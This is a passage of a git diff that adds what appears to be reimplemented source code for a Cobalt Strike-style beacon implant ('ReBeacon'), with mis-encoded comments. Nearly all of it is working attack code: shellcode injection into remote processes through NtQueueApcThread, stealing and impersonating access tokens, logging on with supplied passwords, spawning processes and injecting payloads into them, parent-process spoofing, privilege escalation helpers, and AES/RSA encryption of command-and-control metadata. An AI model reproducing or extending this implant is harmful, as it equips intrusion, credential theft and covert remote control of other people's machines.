NumberOfBytesWritten != shellcode_size) + { + pshellcodeAddress = 0; + } + free(pshellcode); + return pshellcodeAddress; +} + +int sub_10004DDE(BeaconProcessInject* pBeaconProcessInject, LPVOID BaseAddress, LPVOID lpParameter) +{ + THREADENTRY32 te = { 0 }; + te.dwSize = sizeof(THREADENTRY32); + BeaconShellcodeinjec pBeaconShellcodeinjec; + pBeaconShellcodeinjec.StartAddress = BaseAddress; + pBeaconShellcodeinjec.lpParameter = lpParameter; + pBeaconShellcodeinjec.pCreateThread = CreateThread; + pBeaconShellcodeinjec.field_C = 0; + + NtQueueApcThread_t NtQueueApcThread = (NtQueueApcThread_t)GetProcAddress(GetModuleHandleA("ntdll"), "NtQueueApcThread"); + if (!NtQueueApcThread) + { + return 0; + } + char* pshellcodeAddress = (char*)sub_10004D53(pBeaconProcessInject->hProcess, pBeaconProcessInject->Process_PID, &pBeaconShellcodeinjec); + if (!pshellcodeAddress) + { + return 0; + } + HANDLE Toolhelp32Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); + if (!Toolhelp32Snapshot || !Thread32First(Toolhelp32Snapshot, &te)) + { + return 0; + } + do + { + if (te.th32OwnerProcessID == pBeaconProcessInject->Process_PID) + { + HANDLE thread = OpenThread(0x1FFFFF, 0, te.th32ThreadID); + if (thread) + { + NtQueueApcThread(thread, (PIO_APC_ROUTINE)(pshellcodeAddress + 16), pshellcodeAddress,NULL,NULL); + CloseHandle(thread); + } + } + } while (Thread32Next(Toolhelp32Snapshot, &te)); + CloseHandle(Toolhelp32Snapshot); + Sleep(0xC8); + SIZE_T NumberOfBytesRead; + if (!ReadProcessMemory(pBeaconProcessInject->hProcess, pshellcodeAddress, &pBeaconShellcodeinjec, sizeof(BeaconShellcodeinjec), &NumberOfBytesRead) + || NumberOfBytesRead != sizeof(BeaconShellcodeinjec)) + { + return 0; + } + if (!pBeaconShellcodeinjec.field_C) + { + pBeaconShellcodeinjec.field_C = 1; + WriteProcessMemory(pBeaconProcessInject->hProcess, pshellcodeAddress, &pBeaconShellcodeinjec, sizeof(BeaconShellcodeinjec), &NumberOfBytesRead); + return 0; + } + return 1; +} + + +BOOL BeaconNtQueueApcThread(BeaconProcessInject* pBeaconProcessInject, LPVOID BaseAddress, LPVOID lpParameter) +{ + NtQueueApcThread_t NtQueueApcThread = (NtQueueApcThread_t)GetProcAddress(GetModuleHandleA("ntdll"), "NtQueueApcThread"); + return NtQueueApcThread && !NtQueueApcThread(pBeaconProcessInject->hThread, (PIO_APC_ROUTINE)BaseAddress, lpParameter, 0, 0) && ResumeThread(pBeaconProcessInject->hThread) != -1; +} + +void BeaconExpandEnvironmentStringsA(LPCSTR lpSrc, LPSTR lpDst, size_t Size) +{ + DWORD size = ExpandEnvironmentStringsA(lpSrc, 0, 0); + if (size) + { + if (size + 1 < Size) + { + memset(lpDst, 0, Size); + ExpandEnvironmentStringsA(lpSrc, lpDst, size); + } + } +} + +void check_close_token_fake(int ignoreToken) +{ + if (ignoreToken) + { + close_token_fake(); + } +} + +void check_restore_token_fake(int ignoreToken) +{ + if (ignoreToken) + { + restore_token_fake(); + } +} + +int get_user_sid(size_t BufferSize, HANDLE TokenHandle, char* Buffer) +{ + + CHAR Name[512]; + CHAR ReferencedDomainName[512]; + DWORD cchReferencedDomainName = 512; + + _SID_NAME_USE peUse; + memset(Buffer, 0, BufferSize); + memset(Name, 0, sizeof(Name)); + memset(ReferencedDomainName, 0, sizeof(ReferencedDomainName)); + + DWORD ReturnLength; + PSID TokenInformation[4096]; + DWORD cchName = 512; + if (!GetTokenInformation(TokenHandle, TokenUser, TokenInformation, 0x1000, &ReturnLength) + || !LookupAccountSidA( + 0, + TokenInformation[0], + Name, + &cchName, + ReferencedDomainName, + &cchReferencedDomainName, + &peUse)) + { + return 0; + } + _snprintf(Buffer, BufferSize, "%s\\%s", ReferencedDomainName, Name); + Buffer[BufferSize - 1] = 0; + return 1; +} + +void BeaconSendUserInfo(HANDLE hPrcoess) +{ + u_long Buffer[256]; + char usersid[512]; + + if (get_user_sid(0x200, hPrcoess, usersid)) + { + if (is_admin()) + { + _snprintf((char* const)Buffer, 0x400u, "%s (admin)", usersid); + } + else + { + _snprintf((char* const)Buffer, 0x400u, "%s", usersid); + } + BeaconTaskOutput((char*)Buffer, strlen((char*)Buffer), 0x10); + } +} + + +void beacon_GetUID() +{ + HANDLE TokenHandle; + + if (OpenThreadToken(GetCurrentThread(), 8u, 0, &TokenHandle)) + { + goto LABEL_3; + } + if (OpenProcessToken(GetCurrentProcess(), 8u, &TokenHandle)) + { + LABEL_3: + BeaconSendUserInfo(TokenHandle); + CloseHandle(TokenHandle); + } + else if (pTokenHandle) + { + close_token_fake(); + BeaconSendUserInfo(pTokenHandle); + restore_token_fake(); + } + else + { + BeaconErrorNA(1u); + } +} + +datap* BeaconMaketoken; +void BeaconRevertToken() +{ + if (pTokenHandle) + { + CloseHandle(pTokenHandle); + } + pTokenHandle = 0; + RevertToSelf(); + if (BeaconMaketoken) + { + BeaconDataClear(BeaconMaketoken); + BeaconDataFree(BeaconMaketoken); + lpDomain = 0; + lpWideCharStr = 0; + lpPassword = 0; + BeaconMaketoken = 0; + Create_token_Flag = 0; + } +} + +void beacon_steal_token(char* Taskdata, int Task_size) +{ + + char usersid[0x200]; + HANDLE TokenHandle; + if (Task_size == 4) + { + int pid = ntohl(*(u_long*)Taskdata); + HANDLE hprocess = OpenProcess(PROCESS_QUERY_INFORMATION, 0, pid); + if (hprocess) + { + if (OpenProcessToken(hprocess, TOKEN_ALL_ACCESS, &TokenHandle)) + { + BeaconRevertToken(); + if (ImpersonateLoggedOnUser(TokenHandle)) + { + if (DuplicateTokenEx(TokenHandle, 0x2000000, 0, SecurityDelegation, TokenPrimary, &pTokenHandle)) + { + if (ImpersonateLoggedOnUser(pTokenHandle)) + { + CloseHandle(hprocess); + if (TokenHandle) + { + CloseHandle(TokenHandle); + } + if (get_user_sid(0x200, pTokenHandle, usersid)) + { + BeaconTaskOutput(usersid, strlen(usersid), 0xF); + } + } + else + { + BeaconErrorDD(0x27, pid, GetLastError()); + } + } + else + { + BeaconErrorDD(0x26, pid, GetLastError()); + } + } + else + { + BeaconErrorDD(0x25, pid, GetLastError()); + } + } + else + { + BeaconErrorDD(0x24, pid, GetLastError()); + } + } + else + { + BeaconErrorDD(0x21, pid, GetLastError()); + } + } +} + + +BOOL GetProcessUserInfo(HANDLE ProcessHandle, char* usersid) +{ + + HANDLE TokenHandle; + BOOL status = OpenProcessToken(ProcessHandle, 8u, &TokenHandle); + if (status) + { + status = get_user_sid(0x800, TokenHandle, usersid); + CloseHandle(TokenHandle); + return status; + } + return status; +} + +void beacon_ps(char* Taskdata, int Task_size) +{ + + char usersid[2048]; + memset(usersid, 0, sizeof(usersid)); + + datap datap; + BeaconDataParse(&datap, Taskdata, Task_size); + int unknown = BeaconDataInt(&datap); + BeaconFormatAlloc((formatp*)&datap, 0x8000); + if (unknown > 0) + { + BeaconFormatInt((formatp*)&datap, unknown); + } + const char* arch; + if (Is_Wow64(GetCurrentProcess())) + { + arch = "x64"; + } + else + { + arch = "x64"; + if (!X86orX64()) + { + arch = "x86"; + } + } + DWORD pSessionId; + DWORD th32ProcessID; + PROCESSENTRY32 pe; + HANDLE hprocess; + HANDLE Toolhelp32Snapshot = CreateToolhelp32Snapshot(2u, 0); + if (Toolhelp32Snapshot != (HANDLE)-1) + { + pe.dwSize = sizeof(PROCESSENTRY32); + if (Process32First(Toolhelp32Snapshot, &pe)) + { + do + { + th32ProcessID = pe.th32ProcessID; + hprocess = OpenProcess(g_dwMajorVersion >= 6 ? 4096 : 1024, 0, th32ProcessID); + if (hprocess) + { + if (!GetProcessUserInfo(hprocess, usersid)) + { + usersid[0] = 0; + } + if (!ProcessIdToSessionId(pe.th32ProcessID, &pSessionId)) + { + pSessionId = -1; + } + const char* arch2 = "x86"; + if (Is_Wow64(hprocess) == 0) + { + arch2 = arch; + } + BeaconFormatPrintf( + (formatp*)&datap, + (char*)"%s\t%d\t%d\t%s\t%s\t%d\n", + pe.szExeFile, + pe.th32ParentProcessID, + pe.th32ProcessID, + arch2, + usersid, + pSessionId); + } + else + { + BeaconFormatPrintf((formatp*)&datap, (char*)"%s\t%d\t%d\n", pe.szExeFile, pe.th32ParentProcessID, pe.th32ProcessID); + } + CloseHandle(hprocess); + } while (Process32Next(Toolhelp32Snapshot, &pe)); + CloseHandle(Toolhelp32Snapshot); + int msg_type; + if (unknown) + { + msg_type = 22; + } + else + { + msg_type = 17; + } + int datalength = BeaconFormatlength((formatp*)&datap); + char* databuffer = BeaconFormatOriginalPtr((formatp*)&datap); + BeaconTaskOutput(databuffer, datalength, msg_type); + BeaconFormatFree((formatp*)&datap); + } + else + { + CloseHandle(Toolhelp32Snapshot); + } + } +} + +void beacon_Kill(char* Taskdata, int Task_size) +{ + datap pdatap = { 0 }; + BeaconDataParse(&pdatap, Taskdata, Task_size); + int pid = BeaconDataInt(&pdatap); + HANDLE hPrcoess = OpenProcess(PROCESS_TERMINATE, 0, pid); + if (!hPrcoess || !TerminateProcess(hPrcoess, 0)) + { + BeaconErrorDD(0x23u, pid, GetLastError()); + } + CloseHandle(hPrcoess); +} + + +int BeaconRunAsProcess( + char* lpDomain, + char* lpPassword, + char* lpUsername, + char* lpCommandLine, + int dwCreationFlags, + LPPROCESS_INFORMATION lpProcessInformation) +{ + memset(lpProcessInformation, 0, sizeof(PROCESS_INFORMATION)); + + datap* pdatap = BeaconDataInit(0xA000u); + WCHAR* CommandLine = (WCHAR*)BeaconDataPtr(pdatap, 0x4000); + WCHAR* Domain = (WCHAR*)BeaconDataPtr(pdatap, 1024); + WCHAR* Username = (WCHAR*)BeaconDataPtr(pdatap, 1024); + WCHAR* Password = (WCHAR*)BeaconDataPtr(pdatap, 1024); + WCHAR* Buffer = (WCHAR*)BeaconDataPtr(pdatap, 1024); + + STARTUPINFOA StartupInfo = { 0 }; + StartupInfo.cb = sizeof(STARTUPINFOA); + GetStartupInfoA(&StartupInfo); + + StartupInfo.dwFlags = 257; + StartupInfo.wShowWindow = 0; + StartupInfo.hStdInput = 0; + StartupInfo.hStdOutput = 0; + StartupInfo.hStdError = 0; + StartupInfo.lpDesktop = 0; + + toWideChar(lpCommandLine, CommandLine, 0x4000u); + toWideChar(lpPassword, Username, 0x400u); + toWideChar(lpUsername, Password, 0x400u); + toWideChar(lpDomain, Domain, 0x400u); + WCHAR* lpCurrentDirectory = 0; + if (GetCurrentDirectoryW(0, 0) >= 0x400) + { + lpCurrentDirectory = 0; + } + else + { + GetCurrentDirectoryW(0x400u, Buffer); + lpCurrentDirectory = Buffer; + } + if (CreateProcessWithLogonW( + Username, + Domain, + Password, + 1, + 0, + CommandLine, + dwCreationFlags | 0x8000400, + 0, + lpCurrentDirectory, + (LPSTARTUPINFOW)&StartupInfo, + lpProcessInformation)) + { + BeaconDataClear(pdatap); + BeaconDataFree(pdatap); + return 1; + } + else + { + BeaconErrorFormat(0x35, (char*)"%s as %s\\%s: %d", lpCommandLine, lpDomain, lpPassword, GetLastError()); + } + BeaconDataClear(pdatap); + BeaconDataFree(pdatap); + return 0; +} + +void beacon_RunAs(char* Taskdata, int Task_size) +{ + PROCESS_INFORMATION ProcessInformation; + datap* pdatap = BeaconDataInit(0x4C00); + char* lpCommandLine = BeaconDataPtr(pdatap, 0x4000); + char* lpDomain = BeaconDataPtr(pdatap, 1024); + char* lpPassword = BeaconDataPtr(pdatap, 1024); + char* lpUsername = BeaconDataPtr(pdatap, 1024); + datap taskdatap; + BeaconDataParse(&taskdatap, Taskdata, Task_size); + if (BeaconDataCopyToBuffer(&taskdatap, lpDomain, 1024) + && BeaconDataCopyToBuffer(&taskdatap, lpPassword, 1024) + && BeaconDataCopyToBuffer(&taskdatap, lpUsername, 1024)) + { + if (BeaconDataCopyToBuffer(&taskdatap, lpCommandLine, 0x4000)) + { + close_token_fake(); + BeaconRunAsProcess(lpDomain, lpPassword, lpUsername, lpCommandLine, 0, &ProcessInformation); + restore_token_fake(); + BeaconDataClear(pdatap); + BeaconDataFree(pdatap); + BeaconcloseAllHandle(&ProcessInformation); + return; + } + } + BeaconDataFree(pdatap); + return; +} + + +void beacon_pwd() +{ + DWORD size; + CHAR PathBuffer[2048]; + + memset(PathBuffer, 0, sizeof(PathBuffer)); + size = GetCurrentDirectoryA(0x800, PathBuffer); + if (size) + { + BeaconTaskOutput(PathBuffer, size, 0x13); + } +} + + +/// +/// һ˯N +/// +/// +/// +/// +void BeaconSleepN(char* Taskdata, int Task_size) +{ + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Task_size); + int time = BeaconDataInt(&pdatap); + Sleep(time); +} + +void Beacon_end() +{ + g_dwMilliseconds = 0; // ޸dw0ȴѭ + BeaconTaskOutput(0, 0, CALLBACK_DEAD); //Ϣ֪˳ +} + +void create_token(char* lpszDomain, char* lpszUsername, char* lpszPassword) +{ + + BeaconRevertToken(); + if (LogonUserA(lpszUsername, lpszDomain, lpszPassword, 9, 3, &pTokenHandle)) + { + if (ImpersonateLoggedOnUser(pTokenHandle)) + { + BeaconMaketoken = BeaconDataInit(0x800u); + lpDomain = (LPCWSTR)BeaconDataPtr(BeaconMaketoken, 512); + lpWideCharStr = (LPCWSTR)BeaconDataPtr(BeaconMaketoken, 512); + lpPassword = (LPCWSTR)BeaconDataPtr(BeaconMaketoken, 1024); + toWideChar(lpszUsername, (LPWSTR)lpWideCharStr, 0x100u); + toWideChar(lpszDomain, (LPWSTR)lpDomain, 0x100u); + toWideChar(lpszPassword, (LPWSTR)lpPassword, 0x200u); + Create_token_Flag = 1; + if (get_user_sid(0x400u, pTokenHandle, lpszUsername)) + { + BeaconTaskOutput(lpszUsername, strlen(lpszUsername), 0xFu); + } + } + else + { + BeaconErrorD(0x19u, GetLastError()); + } + } + else + { + BeaconErrorD(0x18u, GetLastError()); + } +} + +void beacon_make_token(char* Taskdata, int Task_size) +{ + datap* pdatap = BeaconDataInit(0xC00); + char* lpszDomain = BeaconDataPtr(pdatap, 1024); + char* lpszUsername = BeaconDataPtr(pdatap, 1024); + char* lpszPassword = BeaconDataPtr(pdatap, 1024); + datap taskpdatap; + BeaconDataParse(&taskpdatap, Taskdata, Task_size); + if (BeaconDataCopyToBuffer(&taskpdatap,lpszDomain, 1024) && BeaconDataCopyToBuffer(&taskpdatap,lpszUsername, 1024)) + { + if (BeaconDataCopyToBuffer(&taskpdatap,lpszPassword, 1024)) + { + create_token(lpszDomain, lpszUsername, lpszPassword); + } + } + BeaconDataClear(pdatap); + BeaconDataFree(pdatap); +} + + +int CheckMemoryRWX(LPVOID lpAddress, SIZE_T dwSize) +{ + + + if (get_short(43) == get_short(44)) + { + return 1; + } + int userwx = get_short(44); + DWORD flOldProtect; + if (VirtualProtect(lpAddress, dwSize, userwx, &flOldProtect)) + { + return 1; + } + BeaconErrorD(0x11, GetLastError()); + return 0; +} + +void __cdecl beacon_SetEnv(const char* EnvString) +{ + _putenv(EnvString); +} + +//************************************ +// Method: VerifyPPID +// FullName: VerifyPPID +// Access: public +// Returns: BOOL +// Qualifier:֤õppidĽǷͬһỰ +//************************************ +BOOL VerifyPPID() +{ + DWORD pSessionId; + if (!ProcessIdToSessionId(gBeaconPPID, &pSessionId)) + { + return 1; + } + DWORD pSessionId2; + if (!ProcessIdToSessionId(GetCurrentProcessId(), &pSessionId2)) + { + return 1; + } + return pSessionId2 == pSessionId; +} + +void beacon_PPID(char* Taskdata, int Task_size) +{ + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Task_size); + gBeaconPPID = BeaconDataInt(&pdatap); + if (gBeaconPPID) + { + if (!VerifyPPID()) + { + BeaconErrorD(0xFu, gBeaconPPID); + } + } +} + + +void BeaconEnablePrivilege(char* buffer, int buffersize, HANDLE TokenHandle, formatp* pformatp) +{ + char Name[68]; + _TOKEN_PRIVILEGES token = { 0 }; + + datap pdatap; + BeaconDataParse(&pdatap, buffer, buffersize); + + int index = BeaconDataShort(&pdatap); + if (index) + { + do + { + BeaconDataCopyToBuffer(&pdatap,Name, 64); + memset(&token, 0, sizeof(_TOKEN_PRIVILEGES)); + if (LookupPrivilegeValueA(0, Name, &token.Privileges[0].Luid)) + { + token.PrivilegeCount = 1; + token.Privileges[0].Attributes = 2; + if (AdjustTokenPrivileges(TokenHandle, 0, &token, 0, 0, 0)) + { + if (!GetLastError()) + { + BeaconFormatPrintf(pformatp, (char*)"%s\n", Name); + } + } + } + --index; + } while (index); + } +} + +void beacon_GetPrivs(char* Taskdata, int Task_size) +{ + + formatp pformatp; + BeaconFormatAlloc(&pformatp, 0x8000); + if (pTokenHandle) + { + close_token_fake(); + BeaconEnablePrivilege(Taskdata, Task_size, pTokenHandle, &pformatp); + restore_token_fake(); + } + else + { + HANDLE TokenHandle; + if (OpenProcessToken(GetCurrentProcess(), 0x28u, &TokenHandle)) + { + BeaconEnablePrivilege(Taskdata, Task_size, TokenHandle, &pformatp); + CloseHandle(TokenHandle); + } + else + { + BeaconErrorNA(59u); + } + } + int length = BeaconFormatlength(&pformatp); + if (length) + { + char* buffer = BeaconFormatOriginalPtr(&pformatp); + BeaconTaskOutput(buffer, length, 0); + } + BeaconFormatFree(&pformatp); +} + +void beacon_BlockDLLs(char* Taskdata, int Task_size) +{ + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Task_size); + gBeaconBlockDLL = BeaconDataInt(&pdatap) != 0; +} + + +int BeaconSpawnRunAsProcess(int x86,char* lpDomain,char* lpPassword,char* lpUsername,LPPROCESS_INFORMATION lpProcessInformation) +{ + CHAR lpCommandLine[260]; + + getspawntopath(lpCommandLine, x86); + return BeaconRunAsProcess(lpDomain, lpPassword, lpUsername, lpCommandLine, 4, lpProcessInformation); +} + +void BeaconSpawnas(char* Taskdata, int Task_size, int x86) +{ + + _PROCESS_INFORMATION pi; + + datap* pdatap = BeaconDataInit(0xC00u); + char* lpDomain = BeaconDataPtr(pdatap, 1024); + char* lpPassword = BeaconDataPtr(pdatap, 1024); + char* lpUsername = BeaconDataPtr(pdatap, 1024); + + datap taskdatap; + BeaconDataParse(&taskdatap, Taskdata, Task_size); + if (BeaconDataCopyToBuffer(&taskdatap, lpDomain, 1024)) + { + if (BeaconDataCopyToBuffer(&taskdatap, lpPassword, 1024)) + { + if (BeaconDataCopyToBuffer(&taskdatap, lpUsername, 1024)) + { + if (BeaconSpawnRunAsProcess(x86, lpDomain, lpPassword, lpUsername, &pi)) + { + Sleep(0x64u); + int length = BeaconDataLength(&taskdatap); + char* buffer = BeaconDataBuffer(&taskdatap); + ProcessInject( + pi.dwProcessId, + &pi, + pi.hProcess, + buffer, + length, + 0, + 0, + 0); + } + BeaconDataClearFree(pdatap); + BeaconcloseAllHandle(&pi); + } + } + } +} + + +//************************************ +// Method: BeaconCreateProcess_suspend +// FullName: BeaconCreateProcess_suspend +// Access: public +// Returns: int +// Qualifier:CREATE_SUSPENDED־ +// Parameter: int x86 +// Parameter: STARTUPINFOA * StartupInfo +// Parameter: PROCESS_INFORMATION * pi +// Parameter: int ppid +//************************************ +int BeaconCreateProcess_suspend(int x86, STARTUPINFOA* StartupInfo, PROCESS_INFORMATION* pi, int ppid) +{ + char lpCommandLine[256]; + + getspawntopath(lpCommandLine, x86); + return BeaconCreateProcess(lpCommandLine, strlen(lpCommandLine), StartupInfo, pi, CREATE_SUSPENDED, 1, ppid); +} + +void BeaconSpawnu(char* Taskdata, int Task_size, int x86) +{ + STARTUPINFOA StartupInfo = {0}; + StartupInfo.cb = sizeof(STARTUPINFOA); + GetStartupInfoA(&StartupInfo); + StartupInfo.wShowWindow = 0; + StartupInfo.dwFlags = 257; + StartupInfo.hStdInput = 0; + StartupInfo.hStdOutput = 0; + StartupInfo.hStdError = 0; + + PROCESS_INFORMATION pi = {0}; + + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Task_size); + int ppid = BeaconDataInt(&pdatap); + + if (BeaconCreateProcess_suspend(x86, &StartupInfo, &pi, ppid)) + { + Sleep(0x64u); + int length = BeaconDataLength(&pdatap); + char* buffer = BeaconDataBuffer(&pdatap); + ProcessInject(pi.dwProcessId, &pi, pi.hProcess, buffer, length, 0, 0, 0); + BeaconcloseAllHandle(&pi); + } +} + +void sub_1000715A() +{ + + sub_10006D81(); + DWORD time = GetTickCount() + 3500; + while (sub_1000707E() > 0 && GetTickCount() < time) + { + ; + } + sub_10006FF5(); +} + +void close_http_Handle() +{ + close_token_fake(); + InternetCloseHandle(g_hConnect); + InternetCloseHandle(g_hInternet); + restore_token_fake(); +} \ No newline at end of file diff --git a/ReBeacon_Src/common.h b/ReBeacon_Src/common.h new file mode 100644 index 0000000..000b6f9 --- /dev/null +++ b/ReBeacon_Src/common.h @@ -0,0 +1,150 @@ +#pragma once +#include "Utils.h" +#include "Global.h" +#include +#include + + +/// +/// ȫbeaconTokenHandle +/// +extern HANDLE pTokenHandle; + +/// +/// win http flags +/// +extern DWORD g_dwFlags; + +/// +/// +/// +extern HINTERNET g_hInternet; + +/// +/// +/// +extern HINTERNET g_hConnect; + +/// +/// +/// +extern DWORD_PTR g_dwContext; + +/*жϵͳܹ*/ +int Is_Wow64(HANDLE hProcess); +/*жǷǹԱȨ*/ +BOOL is_admin(); + + +void get_pc_info(beaconmetadata* pmetadata); +void set_winit_http(LPCSTR lpszServerName, INTERNET_PORT ServerPort, LPCSTR lpszAgent); + + +void restore_token_fake(); + +/// +/// رtokenα +/// +void close_token_fake(); + +/// +/// beaconһЩhttpѡ +/// +void set_http_opt(HINTERNET hInternet); + +void init_socket_options(); + +/// +/// жhttp󷵻Ƿɹ +/// +/// +/// +BOOL verify_http_200(HINTERNET hRequest); + + +int isPPIDAndBlockDLL(int PPID); + +BOOL __cdecl toWideChar(char* lpMultiByteStr, wchar_t* lpWideCharStr, unsigned int max); + +int is_process_arch(HANDLE hProcess); + +_PROC_THREAD_ATTRIBUTE_LIST* CreateProcessAttributeList(DWORD dwAttributeCount); + +void BeaconcloseHandle(BeaconCreateprocess* pBeaconCreateprocess); + +void BeaconSetErrorMode(BeaconCreateprocess* pBeaconCreateprocess); + +void BeaconcloseAllHandle(_PROCESS_INFORMATION* pi); + + + +BOOL BeaconCreateRemoteThread(HANDLE hProcess, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter); + +BOOL BeaconCreateThread(LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter); + +BOOL BeaconRtlCreateUserThread(HANDLE hProcess, LPVOID BaseAddress, LPVOID lpParameter); + +int sub_1000535D(HANDLE hProcess, LPVOID BaseAddress, LPVOID lpParameter); + +int sub_10004DDE(BeaconProcessInject* pBeaconProcessInject, LPVOID BaseAddress, LPVOID lpParameter); + +BOOL sub_10004FA1(int Remote,HANDLE hProcess,PVOID BaseAddress,LPVOID lpParameter,LPCSTR lpModuleName,LPCSTR lpProcName,int offset); + +BOOL BeaconNtQueueApcThread(BeaconProcessInject* pBeaconProcessInject, LPVOID BaseAddress, LPVOID lpParameter); + +void BeaconExpandEnvironmentStringsA(LPCSTR lpSrc, LPSTR lpDst, size_t Size); + +void BeaconTaskErrorOutput(u_long BeaconErrorsType, int err_code_1, u_long err_code_2, char* buffer); + +void check_close_token_fake(int ignoreToken); +void check_restore_token_fake(int ignoreToken); + +void beacon_GetUID(); + +extern datap* BeaconMaketoken; +void BeaconRevertToken(); + +void beacon_steal_token(char* Taskdata, int Task_size); + +void beacon_ps(char* Taskdata, int Task_size); + +void beacon_Kill(char* Taskdata, int Task_size); +int BeaconRunAsProcess( + char* lpDomain, + char* lpPassword, + char* lpUsername, + char* lpCommandLine, + int dwCreationFlags, + LPPROCESS_INFORMATION lpProcessInformation); + +void beacon_RunAs(char* Taskdata, int Task_size); + +void beacon_pwd(); + +void BeaconSleepN(char* Taskdata, int Task_size); + +void beacon_make_token(char* Taskdata, int Task_size); + +int get_user_sid(size_t BufferSize, HANDLE TokenHandle, char* Buffer); + +int CheckMemoryRWX(LPVOID lpAddress, SIZE_T dwSize); + +void __cdecl beacon_SetEnv(const char* EnvString); + +void beacon_PPID(char* Taskdata, int Task_size); + +void beacon_GetPrivs(char* Taskdata, int Task_size); + +void beacon_BlockDLLs(char* Taskdata, int Task_size); + +void BeaconSpawnas(char* Taskdata, int Task_size, int x86); + +void BeaconSpawnu(char* Taskdata, int Task_size, int x86); + +void sub_1000715A(); + +void Beacon_end(); + +void close_http_Handle(); + +BOOL X86orX64(); \ No newline at end of file diff --git a/ReBeacon_Src/encrypt_decrypt.cpp b/ReBeacon_Src/encrypt_decrypt.cpp new file mode 100644 index 0000000..98b8686 --- /dev/null +++ b/ReBeacon_Src/encrypt_decrypt.cpp @@ -0,0 +1,389 @@ +#include "encrypt_decrypt.h" +#include "tomcrypt_argchk.h" +#include +#include "common.h" +#include "BeaconX64.h" +#include "comm.h" +int sha256_idx; +int aes_idx; + + +int aes_key_hash_ago_16[4]; +int aes_key_hash_up_16[4]; +char initialization_vector[16]; + +symmetric_key beacon_symmetric_key; +symmetric_CBC beacon_symmetric_CBC; + +/*beacon id*/ +DWORD beacon_id; +WORD CryptoScheme; + +int old_Timestamp; + +DWORD rng_win32(BYTE* pbBuffer, DWORD dwLen) +{ + DWORD result = NULL; + HCRYPTPROV phProv; + phProv = 0; + if (!CryptAcquireContextA(&phProv, 0, "Microsoft Base Cryptographic Provider v1.0", 1, 0xF0000020) + && (result = CryptAcquireContextA(&phProv, 0, "Microsoft Base Cryptographic Provider v1.0", 1, 0xF0000028)) == 0) + { + return result; + } + if (!CryptGenRandom(phProv, dwLen, pbBuffer)) + { + result = 0; + } + CryptReleaseContext(phProv, 0); + return result; +} + +int my_rng_win32(BYTE* pbBuffer, DWORD dwLen) +{ + char v2; // bl + int v3; + bool i; // zf + int v5; + BYTE* v6; + int v9; + + int v10; + + clock_t v11; + clock_t v12; + v2 = 0; + v3 = dwLen; + v9 = 0; + v10 = 0; + for (i = dwLen == 0; ; i = v3 == 0) + { + v5 = 8; + if (i) + { + break; + } + --v3; + do + { + --v5; + do + { + v11 = clock(); + while (v11 == clock()) + { + v10 ^= 1u; + } + v12 = clock(); + while (v12 == clock()) + { + v9 ^= 1u; + } + } while (v10 == v9); + v2 = v10 | (2 * v2); + } while (v5); + v6 = pbBuffer++; + *v6 = v2; + v2 = 0; + } + return dwLen; +} + +int random_bytesarray(BYTE* pbBuffer, DWORD dwLen) +{ + int result; + + result = rng_win32(pbBuffer, dwLen); + if (!result) + { + result = my_rng_win32(pbBuffer, dwLen); + } + return result; +} + +int random_int() +{ + BYTE pbBuffer[4]; + random_bytesarray(pbBuffer, 4); + return *(DWORD*)pbBuffer; +} + +int gen_beacon_id() +{ + return random_int() & 0x7FFFFFFE; +} + +void init_beacon_aes_key(char* beacon_key) +{ + int out_hash[8]; + unsigned long a5 = 32; + register_hash(&sha256_desc); + sha256_idx = find_hash("sha256"); + if (hash_memory(sha256_idx, (const unsigned char*)beacon_key, 16, (unsigned char*)out_hash, &a5))// hash_memory + exit(1); + aes_key_hash_ago_16[0] = out_hash[0]; + aes_key_hash_ago_16[1] = out_hash[1]; + aes_key_hash_ago_16[2] = out_hash[2]; + aes_key_hash_ago_16[3] = out_hash[3]; + aes_key_hash_up_16[0] = out_hash[4]; + aes_key_hash_up_16[1] = out_hash[5]; + aes_key_hash_up_16[2] = out_hash[6]; + aes_key_hash_up_16[3] = out_hash[7]; + memcpy(initialization_vector, "abcdefghijklmnop", sizeof(initialization_vector)); + register_cipher(&aes_desc); + aes_idx = find_cipher("aes"); + if (rijndael_setup((const unsigned char*)aes_key_hash_ago_16, 16, 0, &beacon_symmetric_key)) + exit(1); +} + +//ǵöLTM_DESC +//#define LTM_DESC + +/// +/// rsa +/// +/// +/// +/// +/// +/// +/// +int rsa_encrypt(char* Rsa_Public_key, IN void* data, IN size_t data_size, OUT char* outdata, int* outdatasize) +{ + int prng_idx; + int result; + rsa_key pkey; + + CryptoScheme = get_short(31); + register_prng(&sprng_desc); + prng_idx = find_prng("sprng"); + + //Ҫltc_mpֵrsa_import޷ʹ + ltc_mp = ltm_desc; + + + //rsa_import((const unsigned char*)a1, 162, &v8); + //result = rsa_encrypt_key_ex((const unsigned char*)Src, Size, (unsigned char*)a4, + // (unsigned long*)a5, (const unsigned char*)"lparam", 6, NULL, prng_idx, sha256_idx, LTC_LTC_PKCS_1_V1_5, &v8); + +//libtomcrypt汾жʹLTC_LTC_PKCS_1_V1_5LTC_PKCS_1_V1_5 +#ifdef libtomcrypt117 + if (rsa_import((const unsigned char*)Rsa_Public_key, 162, &pkey) || + (result = rsa_encrypt_key_ex((const unsigned char*)data, data_size, (unsigned char*)outdata, + (unsigned long*)outdatasize, (const unsigned char*)"lparam", 6, NULL, prng_idx, sha256_idx, LTC_LTC_PKCS_1_V1_5, &pkey)) != 0) + { + exit(1); + } +#else + if (rsa_import((const unsigned char*)Rsa_Public_key, 162, &pkey) || + (result = rsa_encrypt_key_ex((const unsigned char*)data, data_size, (unsigned char*)outdata, + (unsigned long*)outdatasize, (const unsigned char*)"lparam", 6, NULL, prng_idx, sha256_idx, LTC_PKCS_1_V1_5, &pkey)) != 0) + { + exit(1); + } +#endif + + return result; +} + +/// +/// Ԫݲ +/// +/// ˲ʱbuffer +/// ʱbufferĴС +void Generate_encryption_metadata(char* Metadata, int size) +{ + UINT codepage = GetACP(); // õǰϵͳĴҳ + UINT oem = GetOEMCP(); + int machine = 0; + BYTE beacon_key[16]; + random_bytesarray(beacon_key, 0x10); // 16ֽ aesԿй + init_beacon_aes_key((char*)beacon_key); // ʼ has256aes aes key + srand(GetTickCount() ^ GetCurrentProcessId()); + beacon_id = gen_beacon_id(); // 